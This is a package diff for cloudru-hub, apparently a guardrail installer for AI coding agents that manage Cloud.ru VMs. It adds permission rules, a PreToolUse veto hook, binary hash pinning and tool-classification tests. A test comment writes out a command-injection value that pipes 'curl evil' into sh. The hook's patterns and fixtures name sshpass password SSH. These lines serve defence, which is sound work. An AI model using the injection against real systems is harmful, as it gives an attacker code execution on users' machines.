@dzhechkov/cloudru-hub 0.1.4

package/src/install.js

@@ -0,0 +1,252 @@
+'use strict';
+// Per-target installer — ADR-005 tiering (tier derived from flow requirements R1–R5,
+// live-probe discipline) + ADR-004 brake emission (permission ask/deny + PreToolUse veto).
+//
+// Tier map (ADR-005 Decision, applied verbatim):
+//   claude-code  FULL candidate — full install path (this module emits it)
+//   codex        FULL candidate #2 — plan printed, NOT auto-applied (delivery requires an
+//                EXECUTED veto probe; project hooks.json is a measured silent no-op)
+//   openclaude / opencode / cursor / windsurf / copilot
+//                DEGRADED-until-proven — installer REFUSES (no live probe delivered yet)
+//   agents-md / gemini
+//                POINTER-ONLY — ≤2048-char pointer + no-veto warning, never a fake install
+//
+// The installer NEVER claims success without executing the brake: after emitting files it
+// RUNS the forbidden-command fixtures through the emitted hook and requires the block
+// (ADR-004/ADR-005: "наличие файла хука — не evidence"; layout ≠ registration).
+
+const fs = require('fs');
+const path = require('path');
+const { spawnSync } = require('child_process');
+const { permissionRules } = require('./classification');
+
+const HOOK_TEMPLATE = path.join(__dirname, '..', 'templates', '.claude', 'hooks', 'cloudru-ssh-guard.cjs');
+const POINTER_TEMPLATE = path.join(__dirname, '..', 'data', 'pointer-section.md');
+
+const TIERS = {
+  'claude-code': 'full',
+  codex: 'plan-only',
+  openclaude: 'degraded',
+  opencode: 'degraded',
+  cursor: 'degraded',
+  windsurf: 'degraded',
+  copilot: 'degraded',
+  'agents-md': 'pointer',
+  gemini: 'pointer',
+};
+
+const DEGRADED_REASONS = {
+  openclaude: 'all three legs exist upstream (.mcp.json, PreToolUse deny, .openclaude/skills) but NOTHING has been probed live — degraded-until-proven (ADR-005).',
+  opencode: 'MCP + veto plugins are documented, zero live runs; R4 (tool budget deferral) unverified (ADR-005).',
+  cursor: 'veto hooks documented only; R3 broken by the .mdc adapter, R4 truncation history (~40 tools) unresolved (ADR-005).',
+  windsurf: 'R4 FAILS as-is: Cascade budget 100 tools < 144 — needs the engine tool-profile before any delivery (ADR-005).',
+  copilot: 'only Copilot CLI is a candidate; the coding agent fails R2 by construction ("will not ask for your approval" + hook timeout fail-open) (ADR-005).',
+};
+
+// ── pure merge helpers (p-replicator pattern: add, union, never overwrite/remove user config) ──
+
+function mergeHookEvents(existing, template) {
+  const merged = { ...existing };
+  for (const [event, tplGroups] of Object.entries(template)) {
+    const cur = Array.isArray(merged[event]) ? merged[event] : [];
+    const result = cur.map((m) => ({ ...m, hooks: [...(m.hooks || [])] }));
+    for (const tplEntry of tplGroups) {
+      const target = result.find((e) => e.matcher === tplEntry.matcher);
+      if (!target) {
+        result.push({ ...tplEntry, hooks: [...(tplEntry.hooks || [])] });
+        continue;
+      }
+      const existingCmds = new Set(target.hooks.map((h) => h.command));
+      for (const tplHook of tplEntry.hooks || []) {
+        if (!existingCmds.has(tplHook.command)) target.hooks.push(tplHook);
+      }
+    }
+    merged[event] = result;
+  }
+  return merged;
+}
+
+function unionSorted(a, b) {
+  return [...new Set([...(a || []), ...(b || [])])].sort();
+}
+
+/** Union-merge our settings fragment into an existing settings object. User entries are
+ *  never removed; our deny additions cannot be silently dropped (union). */
+function mergeSettings(existing, fragment) {
+  const merged = { ...(existing || {}) };
+  if (fragment.permissions) {
+    const cur = merged.permissions && typeof merged.permissions === 'object' ? merged.permissions : {};
+    merged.permissions = {
+      ...cur,
+      allow: unionSorted(cur.allow, fragment.permissions.allow),
+      ask: unionSorted(cur.ask, fragment.permissions.ask),
+      deny: unionSorted(cur.deny, fragment.permissions.deny),
+    };
+  }
+  if (fragment.enabledMcpjsonServers) {
+    merged.enabledMcpjsonServers = unionSorted(merged.enabledMcpjsonServers, fragment.enabledMcpjsonServers);
+  }
+  if (fragment.hooks) merged.hooks = mergeHookEvents(merged.hooks || {}, fragment.hooks);
+  return merged;
+}
+
+/** The settings fragment for claude-code — the ADR-004 brake as data. */
+function claudeSettingsFragment(hookCommand) {
+  const rules = permissionRules();
+  return {
+    permissions: { allow: rules.allow, ask: rules.ask, deny: rules.deny },
+    enabledMcpjsonServers: ['cloudru-vm'],
+    hooks: {
+      PreToolUse: [
+        { matcher: 'Bash', hooks: [{ type: 'command', command: hookCommand, timeout: 10 }] },
+        { matcher: 'mcp__cloudru[-_]vm__k8s_kubectl', hooks: [{ type: 'command', command: hookCommand, timeout: 10 }] },
+      ],
+    },
+  };
+}
+
+function readJson(file) {
+  try {
+    return JSON.parse(fs.readFileSync(file, 'utf8'));
+  } catch {
+    return null;
+  }
+}
+
+function writeJson(file, obj) {
+  fs.mkdirSync(path.dirname(file), { recursive: true });
+  fs.writeFileSync(file, JSON.stringify(obj, null, 2) + '\n');
+}
+
+/**
+ * Execute the emitted brake against the ADR-004 acid fixtures and REQUIRE the veto.
+ * Returns {ok, results:[{fixture, expected, got}]}. An installer that skips this and
+ * declares success anyway is the health-advisor-1.2.0 failure class.
+ */
+function probeBrake(hookPath) {
+  const fixtures = [
+    { name: 'sshpass-password-ssh', payload: { tool_name: 'Bash', tool_input: { command: 'sshpass -p hunter2 ssh user1@1.2.3.4' } }, expect: 2 },
+    { name: 'keyed-ssh-allowed', payload: { tool_name: 'Bash', tool_input: { command: 'ssh -i /tmp/key user1@1.2.3.4 uptime' } }, expect: 0 },
+    { name: 'kubectl-rollout-restart-denied', payload: { tool_name: 'mcp__cloudru-vm__k8s_kubectl', tool_input: { args: 'rollout restart deployment/app' } }, expect: 2 },
+    { name: 'kubectl-rollout-status-allowed', payload: { tool_name: 'mcp__cloudru-vm__k8s_kubectl', tool_input: { args: 'rollout status deployment/app' } }, expect: 0 },
+  ];
+  const results = [];
+  let ok = true;
+  for (const f of fixtures) {
+    const r = spawnSync(process.execPath, [hookPath], { input: JSON.stringify(f.payload), encoding: 'utf8', timeout: 10_000 });
+    const got = typeof r.status === 'number' ? r.status : -1;
+    if (got !== f.expect) ok = false;
+    results.push({ fixture: f.name, expected: f.expect, got });
+  }
+  return { ok, results };
+}
+
+/**
+ * Install into a project dir for a target. Pure I/O orchestration; returns
+ * {code, lines:[...]} — code 0 success, 2 refused (degraded), 3 plan-only, 1 failure.
+ */
+function install(target, projectDir, opts = {}) {
+  const lines = [];
+  const tier = TIERS[target];
+  if (!tier) {
+    return { code: 1, lines: [`cloudru-hub install: unknown target "${target}" (known: ${Object.keys(TIERS).join(', ')})`] };
+  }
+
+  if (tier === 'degraded') {
+    return {
+      code: 2,
+      lines: [
+        `cloudru-hub install: REFUSED for target "${target}" (tier DEGRADED, ADR-005).`,
+        `  Reason: ${DEGRADED_REASONS[target]}`,
+        '  A mutating flow without a live-probed deterministic brake is not delivered on any tier.',
+      ],
+    };
+  }
+
+  if (tier === 'pointer') {
+    const pointer = fs.readFileSync(POINTER_TEMPLATE, 'utf8');
+    const out = path.join(projectDir, 'CLOUDRU-POINTER.md');
+    fs.mkdirSync(projectDir, { recursive: true });
+    fs.writeFileSync(out, pointer);
+    return {
+      code: 0,
+      lines: [
+        `cloudru-hub install: target "${target}" is POINTER-ONLY (ADR-005) — no tools, no executable instructions, no fake support.`,
+        `  Wrote ${out} (${Buffer.byteLength(pointer)} bytes). Append it to your ${target === 'gemini' ? 'GEMINI.md' : 'AGENTS.md'}.`,
+        '  ⚠ It contains the mandatory no-veto warning — do not strip it.',
+      ],
+    };
+  }
+
+  if (tier === 'plan-only') {
+    // codex: strongest non-Claude-Code target, but hooks are user-global-only and a
+    // non-executed veto is indistinguishable from an absent one (measured, codex.md §3).
+    return {
+      code: 3,
+      lines: [
+        'cloudru-hub install: target "codex" — plan printed, NOT auto-applied (ADR-005: delivery requires an EXECUTED veto probe).',
+        '  1. codex mcp add cloudru-vm -- cloudru-hub mcp        # registers the stdio server in ~/.codex/config.toml',
+        `  2. Merge into ~/.codex/hooks.json (user-global ONLY — project hooks.json is a measured silent no-op):`,
+        `     {"hooks":{"preToolUse":[{"command":"node ${HOOK_TEMPLATE}"}]}}`,
+        '  3. MANDATORY probe: in a codex session run `sshpass -p x ssh user1@1.2.3.4` and CONFIRM the block message.',
+        '     A hook file on disk is NOT evidence (health-advisor 1.2.0 lesson: layout ≠ registration).',
+      ],
+    };
+  }
+
+  // ── claude-code FULL path ──
+  const claudeDir = path.join(projectDir, '.claude');
+  const hookDest = path.join(claudeDir, 'hooks', 'cloudru-ssh-guard.cjs');
+  fs.mkdirSync(path.dirname(hookDest), { recursive: true });
+  fs.copyFileSync(HOOK_TEMPLATE, hookDest);
+  fs.chmodSync(hookDest, 0o755);
+  const hookCommand = 'node .claude/hooks/cloudru-ssh-guard.cjs';
+
+  // .mcp.json (project root — .claude/mcp.json is NOT read by Claude Code, measured gap G5)
+  const mcpFile = path.join(projectDir, '.mcp.json');
+  const mcp = readJson(mcpFile) || {};
+  const servers = mcp.mcpServers && typeof mcp.mcpServers === 'object' ? mcp.mcpServers : {};
+  const launcherBin = path.join(__dirname, '..', 'bin', 'cloudru-hub.js');
+  servers['cloudru-vm'] = opts.npx
+    ? { command: 'npx', args: ['-y', '@dzhechkov/cloudru-hub', 'mcp'] }
+    : { command: 'node', args: [launcherBin, 'mcp'] };
+  mcp.mcpServers = servers;
+  writeJson(mcpFile, mcp);
+
+  // .claude/settings.json — permissions brake + hooks (merge, never clobber)
+  const settingsFile = path.join(claudeDir, 'settings.json');
+  const merged = mergeSettings(readJson(settingsFile), claudeSettingsFragment(hookCommand));
+  writeJson(settingsFile, merged);
+
+  const rules = permissionRules();
+  lines.push(`cloudru-hub install: claude-code files emitted into ${projectDir}`);
+  lines.push(`  .mcp.json                 cloudru-vm server (${opts.npx ? 'npx form' : 'local launcher path'})`);
+  lines.push(`  .claude/settings.json     permissions: ${rules.allow.length} allow / ${rules.ask.length} ask / ${rules.deny.length} deny rules (both mcp__cloudru-vm__ and mcp__cloudru_vm__ spellings until the prefix is live-probed)`);
+  lines.push('  .claude/hooks/cloudru-ssh-guard.cjs  PreToolUse veto (Bash ssh-guard + kubectl rollout guard)');
+
+  // The EXECUTED veto — success is conditional on the block being observed.
+  const probe = probeBrake(hookDest);
+  for (const r of probe.results) {
+    lines.push(`  probe ${r.fixture}: expected exit ${r.expected}, got ${r.got} ${r.expected === r.got ? '✓' : '✗'}`);
+  }
+  if (!probe.ok) {
+    lines.push('cloudru-hub install: ✗ the emitted brake did NOT veto the forbidden fixture — NOT installed (a non-executing hook is indistinguishable from an absent one).');
+    return { code: 1, lines };
+  }
+  lines.push('cloudru-hub install: ✓ veto EXECUTED and observed on the forbidden fixtures.');
+  lines.push('  Remaining manual probe (cannot be machine-checked from here, ADR-004 Confirmation): in a fresh');
+  lines.push('  Claude Code session, call a mutating tool (e.g. mcp__cloudru-vm__deploy) and confirm a permission');
+  lines.push('  prompt appears instead of execution; record which mcp__ prefix spelling the runtime used.');
+  return { code: 0, lines };
+}
+
+module.exports = {
+  TIERS,
+  DEGRADED_REASONS,
+  HOOK_TEMPLATE,
+  mergeSettings,
+  mergeHookEvents,
+  claudeSettingsFragment,
+  probeBrake,
+  install,
+};

package/src/resolve.js

@@ -0,0 +1,101 @@
+'use strict';
+// Engine binary resolution — ADR-002: the Go engine is located at RUNTIME, never bundled.
+// Resolution order (first hit wins):
+//   1. env CLOUDRU_VM_BIN                          — explicit path (local baseline testing)
+//   2. config enginePath                           — ~/.cloudru-hub/config.json (or $CLOUDRU_HUB_CONFIG)
+//   3. platform package @dzhechkov/cloudru-vm-<os>-<cpu>/native/cloudru-vm
+//      (does not exist until the ADR-001 licence grant clears — see LICENSE Part 2)
+//   4. loud, esbuild-style error explaining all three paths and the licence hold.
+//
+// sha256 policy: the resolved binary is hashed and compared against the pinned map in
+// package.json `cloudruHub.binaryHashes` (ADR-002 point 2, esbuild.binaryHashes pattern).
+//   - platform-package path: mismatch is a HARD error (supply-chain: registry artifact
+//     must be byte-exact against the pin);
+//   - env/config path: mismatch is reported (`verified:false`) but tolerated — the owner
+//     points these at development builds by design.
+
+const fs = require('fs');
+const os = require('os');
+const path = require('path');
+const crypto = require('crypto');
+
+const PKG = require('../package.json');
+
+function platformKey() {
+  return `${process.platform === 'darwin' ? 'darwin' : process.platform}-${process.arch}`;
+}
+
+function sha256File(file) {
+  return crypto.createHash('sha256').update(fs.readFileSync(file)).digest('hex');
+}
+
+function configPath(env) {
+  return (env.CLOUDRU_HUB_CONFIG && String(env.CLOUDRU_HUB_CONFIG)) ||
+    path.join(os.homedir(), '.cloudru-hub', 'config.json');
+}
+
+function readConfig(env) {
+  try {
+    const raw = fs.readFileSync(configPath(env), 'utf8');
+    const parsed = JSON.parse(raw);
+    return parsed && typeof parsed === 'object' ? parsed : {};
+  } catch {
+    return {};
+  }
+}
+
+/**
+ * Resolve the engine binary WITHOUT touching the network.
+ * @param {NodeJS.ProcessEnv} env
+ * @returns {{path:string, source:'env'|'config'|'platform-package', sha256:string,
+ *            verified:boolean, pinned:string|null, key:string} | {error:string}}
+ */
+function resolveEngine(env = process.env) {
+  const key = platformKey();
+  const pinned = (PKG.cloudruHub && PKG.cloudruHub.binaryHashes && PKG.cloudruHub.binaryHashes[key]) || null;
+
+  const candidates = [];
+  if (env.CLOUDRU_VM_BIN) candidates.push({ path: String(env.CLOUDRU_VM_BIN), source: 'env' });
+  const cfg = readConfig(env);
+  if (cfg.enginePath) candidates.push({ path: String(cfg.enginePath), source: 'config' });
+  const platformPkg = PKG.cloudruHub && PKG.cloudruHub.platformPackages && PKG.cloudruHub.platformPackages[key];
+  if (platformPkg) {
+    try {
+      const pkgJson = require.resolve(`${platformPkg}/package.json`);
+      candidates.push({ path: path.join(path.dirname(pkgJson), 'native', 'cloudru-vm'), source: 'platform-package' });
+    } catch {
+      /* optional platform package not installed — expected while the ADR-001 hold is in force */
+    }
+  }
+
+  for (const cand of candidates) {
+    if (!fs.existsSync(cand.path)) continue;
+    let st;
+    try { st = fs.statSync(cand.path); } catch { continue; }
+    if (!st.isFile()) continue;
+    const sha = sha256File(cand.path);
+    const verified = pinned !== null && sha === pinned;
+    if (cand.source === 'platform-package' && !verified) {
+      return {
+        error:
+          `cloudru-hub: platform package binary at ${cand.path} does NOT match the pinned sha256 for ${key}\n` +
+          `  expected ${pinned}\n  actual   ${sha}\n` +
+          'Refusing to run an unpinned registry artifact (ADR-002 supply-chain rule).',
+      };
+    }
+    return { path: cand.path, source: cand.source, sha256: sha, verified, pinned, key };
+  }
+
+  return {
+    error:
+      'cloudru-hub: could not locate the cloudru-vm engine binary. It is resolved at runtime, never bundled (ADR-002).\n' +
+      'Tried, in order:\n' +
+      `  1. $CLOUDRU_VM_BIN                          ${env.CLOUDRU_VM_BIN ? `(set, but not a file: ${env.CLOUDRU_VM_BIN})` : '(unset)'}\n` +
+      `  2. enginePath in ${configPath(env)}          ${cfg.enginePath ? `(set, but not a file: ${cfg.enginePath})` : '(unset/absent)'}\n` +
+      `  3. optional dependency ${(PKG.cloudruHub && PKG.cloudruHub.platformPackages && PKG.cloudruHub.platformPackages[key]) || '<none for ' + key + '>'} (not installed)\n` +
+      'Local testing: point $CLOUDRU_VM_BIN at an engine build (see docs/LOCAL-TESTING.md).\n' +
+      'The hosted platform package does not exist yet: its first publication still requires the ADR-002 trusted-CI binary build (see LICENSE Part 2 and THIRD_PARTY_NOTICES).',
+  };
+}
+
+module.exports = { resolveEngine, platformKey, sha256File, configPath };

package/templates/.claude/hooks/cloudru-ssh-guard.cjs

@@ -0,0 +1,80 @@
+#!/usr/bin/env node
+// cloudru-ssh-guard — PreToolUse veto hook (Claude Code contract), ported from the
+// upstream hooks/cloudru-ssh-guard.py per ADR-004 Decision 2(a).
+//
+// Contract differences vs the Hermes original (all three MEASURED in 00_research/02 §C? / 01 §7):
+//   matcher        : tool_name === "Bash"      (Hermes: "terminal")
+//   veto mechanism : exit 2 + stderr message   (Hermes: {"action":"block"} on stdout)
+//   payload        : {tool_name, tool_input:{command}} on stdin (same shape, different names)
+//
+// Additionally guards mcp__cloudru-vm__k8s_kubectl (ADR-004 Decision 2(b)): kubectl
+// `rollout` with any sub-verb other than status|history mutates production without the
+// engine's confirmed-gate (MEASURED upstream hole, 05 §2.3) — deny here, independent of
+// any upstream fix (two independent belts, ADR-010 Consequences).
+//
+// Fail-open ONLY for unparseable input (a broken hook must not brick every Bash call);
+// a PARSED paid-step command is always answered deterministically. Exit codes:
+//   0 = allow, 2 = deny (stderr explains to the model).
+'use strict';
+
+function readStdin() {
+  const fs = require('fs');
+  try {
+    return fs.readFileSync(0, 'utf8');
+  } catch {
+    return '';
+  }
+}
+
+/** @returns {string|null} deny reason, or null to allow */
+function decide(payload) {
+  if (!payload || typeof payload !== 'object') return null;
+  const tool = String(payload.tool_name || '');
+  const input = payload.tool_input && typeof payload.tool_input === 'object' ? payload.tool_input : {};
+
+  if (tool === 'Bash') {
+    const cmd = String(input.command || '');
+    // Port of the two upstream regexes, verbatim semantics (ADR-004: "регэкспы переносятся как есть").
+    if (/sshpass/.test(cmd) && /@\d+\.\d+\.\d+\.\d+/.test(cmd)) {
+      return 'Парольный SSH (sshpass) к Cloud.ru ВМ запрещён. Ключ на ВМ ЕСТЬ — движок кладёт его сам. Возьми ssh-команду из ответа deploy_apply ДОСЛОВНО (в ней уже -i <deploy key>).';
+    }
+    if (/\bssh\b[^\n|;&]*\buser1@\d+\.\d+\.\d+\.\d+/.test(cmd) && !cmd.includes(' -i ')) {
+      return 'SSH к Cloud.ru ВМ без деплой-ключа (-i) запрещён. Возьми ssh-команду из ответа deploy_apply ДОСЛОВНО: в ней уже -i <deploy key>.';
+    }
+    return null;
+  }
+
+  // ADR-004 2(b): close the measured `rollout` classification hole on OUR side.
+  if (/^mcp__cloudru[-_]vm__k8s_kubectl$/.test(tool)) {
+    const args = String(input.args || input.command || '');
+    const m = /(?:^|\s)rollout\s+([a-z-]+)/.exec(args);
+    if (m && m[1] !== 'status' && m[1] !== 'history') {
+      return `kubectl rollout ${m[1]} мутирует прод без подтверждения (измеренная дыра классификатора движка). Разрешены только rollout status|history; для мутации получи явное "да" пользователя и вызови мутирующий тул с confirmed=true.`;
+    }
+    return null;
+  }
+
+  return null;
+}
+
+function main() {
+  if (process.argv.includes('--help') || process.argv.includes('-h')) {
+    process.stdout.write('cloudru-ssh-guard: PreToolUse veto hook — reads {tool_name, tool_input} JSON on stdin; exit 0 = allow, exit 2 = deny (reason on stderr).\n');
+    process.exit(0);
+  }
+  let payload = null;
+  try {
+    payload = JSON.parse(readStdin());
+  } catch {
+    process.exit(0); // unparseable input: never brick the session (matches upstream behaviour)
+  }
+  const reason = decide(payload);
+  if (reason) {
+    process.stderr.write('⛔ ' + reason + '\n');
+    process.exit(2);
+  }
+  process.exit(0);
+}
+
+if (require.main === module) main();
+module.exports = { decide };

package/test/classification.test.mjs

@@ -0,0 +1,151 @@
+// Golden classification tests — ADR-004 Confirmation layer 1: every mutating tool must be
+// covered by the emitted permission template; a live tool unknown to the classifier fails.
+import { test } from 'node:test';
+import assert from 'node:assert/strict';
+import { createRequire } from 'node:module';
+
+const require = createRequire(import.meta.url);
+const {
+  loadClassification, loadSnapshot, namesByPermission, permissionRules, coverageGaps, SERVER_PREFIXES,
+} = require('../src/classification.js');
+
+const cls = loadClassification();
+const snap = loadSnapshot();
+
+test('every snapshot tool is classified, and nothing extra', () => {
+  const snapNames = snap.tools.map((t) => t.name).sort();
+  const clsNames = Object.keys(cls.tools).sort();
+  assert.deepEqual(clsNames, snapNames);
+  assert.equal(snapNames.length, 144);
+});
+
+test('counts are the reviewed golden split: 65 ask / 2 deny / 77 allow', () => {
+  assert.deepEqual(cls.counts, { ask: 65, deny: 2, allow: 77 });
+  const by = namesByPermission(cls);
+  assert.equal(by.ask.length, 65);
+  assert.equal(by.deny.length, 2);
+  assert.equal(by.allow.length, 77);
+});
+
+// --- Invariant of the 2026-08-10 behaviour re-audit (cross-model QE HIGH finding) ---
+// stack_status ADVANCES a planned/running job server-side: handleStackStatus
+// (tools_stack.go:451) calls advance() (:479-484), which starts pending steps via
+// s.callTool (:220) — invoking the paid create tools with no confirmation.
+// LIVE-REPRODUCED: one stack_status call moved a planned job planned→running and
+// attempted `provision` (stopped only at AUTH_REQUIRED). If this ever flips back to
+// allow, the fully-frictionless chain stack_plan→stack_status provisions a billable
+// stack with ZERO permission prompts — defeating the ADR-004 brake.
+test('stack_status is ASK — it advances jobs and invokes paid create tools (tools_stack.go:479→:220)', () => {
+  assert.equal(cls.tools.stack_status.permission, 'ask');
+  assert.equal(cls.tools.stack_status.effect, 'mutating');
+  const rules = permissionRules(cls);
+  assert.ok(rules.ask.includes('mcp__cloudru-vm__stack_status'));
+  assert.ok(rules.ask.includes('mcp__cloudru_vm__stack_status'));
+  assert.ok(!rules.allow.some((r) => r.endsWith('__stack_status')), 'stack_status must never be emitted as allow');
+});
+
+test('the stack chain: only the pure plan is allow — every advancing/applying/destroying step is ask', () => {
+  assert.equal(cls.tools.stack_plan.permission, 'allow'); // verified: persists a LOCAL job file only, creates nothing
+  for (const name of ['stack_apply', 'stack_status', 'stack_destroy']) {
+    assert.equal(cls.tools[name].permission, 'ask', name);
+  }
+});
+
+// --- Invariant of the 2026-08-10 shell-reach re-audit (AM-2, cross-model QE HIGH) ---
+// The classification method has a SECOND hazard axis: a tool is allow ONLY if it does NOT
+// pass a user-controlled arg into a remote shell. `logs` does — handleLogs (tools.go:1758)
+// hands the user `service` arg to engine.Logs, which concatenates it RAW into a remote
+// `docker compose logs <service>` (engine/logs.go:61) run via SSH CombinedOutput
+// (internal/deploy/ssh.go:117). service="app; curl evil | sh" ⇒ arbitrary RCE on the
+// user's VM. If this flips back to allow the injection sits behind a SILENT allow — a
+// zero-prompt command-injection path defeating the ADR-004 brake.
+test('logs is ASK — it concatenates a user-controlled service arg into a remote shell (logs.go:61 → ssh.go:117)', () => {
+  assert.equal(cls.tools.logs.permission, 'ask');
+  const rules = permissionRules(cls);
+  assert.ok(rules.ask.includes('mcp__cloudru-vm__logs'));
+  assert.ok(rules.ask.includes('mcp__cloudru_vm__logs'));
+  assert.ok(!rules.allow.some((r) => r.endsWith('__logs')), 'logs must never be emitted as allow');
+});
+
+// The method doc (the $comment) must keep documenting BOTH hazard axes — losing the
+// shell-reach axis silently is the exact regression that let `logs` sit in allow. This is
+// a layer-1 guard on the METHOD, not just the instance.
+test('the classification method doc documents the shell-reach hazard axis and the engine-injection flag', () => {
+  assert.match(cls.$comment, /shell-reach/i, 'method doc must name the shell-reach hazard axis');
+  assert.match(cls.$comment, /user-controlled argument into a shell/i);
+  assert.match(cls.$comment, /shell-escape opts\.Service/i, 'method doc must record the flagged engine injection');
+});
+
+// No allow tool may reach a shell: every allow entry must be free of the shell-reach
+// markers the audit tracks. A future allow entry whose `why` admits a shell-reach (Exec /
+// CombinedOutput / raw command concat) is a classification error and goes red here.
+test('no allow entry admits a shell-reach in its why (the AM-2 axis is applied to every allow)', () => {
+  for (const [name, c] of Object.entries(cls.tools)) {
+    if (c.permission !== 'allow') continue;
+    assert.doesNotMatch(c.why, /shell-reach|CombinedOutput|Deployer\.Exec|cmd \+=/i,
+      `${name}: an allow tool must not admit a shell-reach in its why`);
+  }
+});
+
+// Method invariant: "no confirmed prop in the schema" is a SHAPE check and is NEVER
+// sufficient for allow — that heuristic is exactly what mis-filed stack_status as
+// read-only. Every allow entry must carry behaviour-audit evidence citing the engine
+// handler (file:line) that proves the handler is genuinely read-only.
+test('every allow entry cites a handler behaviour audit, not the schema-shape heuristic', () => {
+  for (const [name, c] of Object.entries(cls.tools)) {
+    if (c.permission !== 'allow') continue;
+    assert.match(c.why, /behaviour-audited/, `${name}: allow requires behaviour-audit evidence in why`);
+    assert.match(c.why, /\.go:\d+/, `${name}: allow why must cite the engine handler file:line`);
+    assert.ok(!/no confirmed prop/.test(c.why), `${name}: shape heuristic must not justify allow`);
+  }
+});
+
+test('the two plaintext-secret reads are DENY (ADR-004 §1)', () => {
+  const by = namesByPermission(cls);
+  assert.deepEqual(by.deny.sort(), ['cert_private_key', 'secret_value']);
+});
+
+test('the MEASURED ungated mutators (05 §2.2) are all ASK — the engine gate does not cover them', () => {
+  for (const name of ['deploy', 'provision', 'vm_exec', 'ca_start', 'ca_stop', 'cert_issue_le', 'cert_import', 'cert_renew', 's3_put', 's3_bucket_create']) {
+    assert.equal(cls.tools[name].permission, 'ask', `${name} must be ask`);
+    assert.equal(cls.tools[name].effect, 'mutating');
+  }
+});
+
+test('every tool whose schema declares `confirmed` is ask or deny — never allow', () => {
+  for (const t of snap.tools) {
+    if (!t.gated) continue;
+    assert.notEqual(cls.tools[t.name].permission, 'allow', `${t.name} is engine-gated (confirmed prop) but classified allow`);
+  }
+});
+
+test('read-only recon stays frictionless: vm_list, billing_*, deploy_plan are allow', () => {
+  for (const name of ['vm_list', 'billing_balance', 'billing_consumption', 'deploy_plan', 'list_zones', 'status']) {
+    assert.equal(cls.tools[name].permission, 'allow', name);
+  }
+});
+
+test('permissionRules expands every name in BOTH prefix spellings (unverified normalization, deny-by-default)', () => {
+  const rules = permissionRules(cls);
+  assert.equal(SERVER_PREFIXES.length, 2);
+  assert.equal(rules.ask.length, 65 * 2);
+  assert.equal(rules.deny.length, 2 * 2);
+  assert.equal(rules.allow.length, 77 * 2);
+  assert.ok(rules.ask.includes('mcp__cloudru-vm__deploy'));
+  assert.ok(rules.ask.includes('mcp__cloudru_vm__deploy'));
+  assert.ok(rules.deny.includes('mcp__cloudru-vm__secret_value'));
+  assert.ok(rules.deny.includes('mcp__cloudru_vm__secret_value'));
+});
+
+test('coverageGaps: an unknown live tool is a drift finding, never silently allowed', () => {
+  const live = [...snap.tools.map((t) => t.name), 'vm_teleport'];
+  const gaps = coverageGaps(live, cls);
+  assert.deepEqual(gaps.unknown, ['vm_teleport']);
+  assert.deepEqual(gaps.missing, []);
+});
+
+test('coverageGaps: a classified tool missing from the live list is reported the other way', () => {
+  const live = snap.tools.map((t) => t.name).filter((n) => n !== 'deploy');
+  const gaps = coverageGaps(live, cls);
+  assert.deepEqual(gaps.missing, ['deploy']);
+});